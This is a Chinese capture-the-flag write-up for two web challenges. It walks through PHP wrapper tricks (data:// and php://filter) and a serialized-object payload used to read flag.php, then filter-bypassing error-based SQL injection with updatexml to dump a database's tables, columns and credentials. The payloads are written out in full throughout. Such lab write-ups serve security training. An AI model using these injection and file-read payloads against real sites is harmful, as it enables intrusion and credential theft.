1.[ZJCTF 2019]NiZhuanSiWei1
(1)进入环境后看到一篇php代码,开始我简单的以为是一题常规的php伪协议,多次试错后发现它并没有那么简单,它包含了基础的文件包含,伪协议还有反序列化
(2)分析代码发现它传入了三个不同的参数,并且判断最后程序进入else时应该是可以出flag的
按照它代码所写
首先要输入的r要满足r=welcome to the zjctf
后面它又说file不能含有flag但是下面有注释的文件名,可能是在提醒,尝试去读取那个文件构造,首先我们要进入到那环境里面, 首先file_get_contents是得读取到"文件"里的内容,而这里需要注意$text是一个变量,C不能读取一个变量
注:file_get_contents函数是 PHP 中一个功能丰富、易于使用的函数,可以用于文件操作和发起 HTTP 请求。通过深入理解该函数的使用方法,我们可以更高效地处理文件读取和远程资源获取任务。同时,使用上下文选项和其他相关函数,可以使 file_get_contents() 更加灵活和强大。有下面这些用法
1. 文件操作
1.1 读取本地文件
1.2 使用上下文选项
2. HTTP 请求
2.1 发起简单的 HTTP GET 请求
2.2 处理响应头信息
2.3 处理 HTTP 错误 具体请看file_get_contents() 函数详解与使用-CSDN博客
这里需要尝试使用data伪协议去给他赋值,在一个文件里面。payload:/?text=data://text/plain,welcome to the zjctf然后才能成功进入
(3)到这里就需要尝试去读取useless.php文件内容了
还需要使用filter伪协议构造payload:&file=php://filter/read=convert.base64-encode/resource=useless.php
注:data协议规则:
data://text/plain;编码格式,读取内容
(注意一个是分号;命令拼接,和一个逗号,用来读取文本内容)
(4)也是成功获取到文件里的内容,然后用工具解一下码可以得到一篇新的php代码
(5)里面写了file_get_contents直接去读flag.php,构造反序列化,poc:
<?php
class Flag
{ //flag.php
public $file = 'flag.php';
}
$a = new Flag();
echo urlencode(serialize($a));
还需要注意不需要去访问useless.php文件的内容了,我们构造的反序列化会把之前的覆盖掉,最终我们要的是useless.php来访问我们的flag
(6)再次进行序列化
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$flag=new Flag();
echo serialize($flag);
?>
可以得到
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
然后构造pyload :
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
然后F12查看源码即可得到flag
2.[极客大挑战 2019]HardSQL1
(1)进入题目环境
(2)不知道它是啥注入类型,就一个个试
username:admin
password:1
这里把参数password作为注入点
1
1'
万能密码 1' or 1=1#
到这里使用万能密码注入被链接,应该是某些字符或者关键字被过滤
(3)然后用BP抓包用sql字典爆破,可以看到很多字符=、--+、/**/和一些注入命令union、by、'1'='1等都被过滤掉了
(4)接着测试admin
1' or
还是出错,说明这里应该就是空格有问题了
(5)然后用括号代替了空格再试试
admin
1'(or)
到这证明判断没错,但是这里又需要注意,前面爆出它过滤了=,
看了其他博主的wp才知道在这里like没有被过滤,使用like可以绕过=号,like <=> =
(6)然后重新构造万能密码
1'or((1)like(1))#
可以看到这里也是成功绕过空格,登陆成功
到这里还需要注意一个有关报错注入的知识点:
SQL报错注入常用函数
两个基于XPAT(XML)的报错注入函数
函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
注入原理:
(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)
(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)
其它
函数floor() mysql中用来取整的函数
函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数
(7)这里我使用updatexml()函数来进行爆库
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
(8)得到库名geek
然后查表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
(9)到这里再得到数据表名 H4rDsq1
然后再来爆字段
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
(10)接着爆爆字段内容**1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
**
也是成功拿到一半flag
(11)后面一半开始怎么也弄不出来,其实就是练得太少,后面看了其他大佬wp才知道这里 要使用right()突破字符限制
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
成功拿到后半段flag要注意这里中间部分是重复的,拼接时需要注意不要拼重复
最后拼接得到完整 flag{ca5de2ab-4550-4fc2-87f7-7fbb95f1e4d2}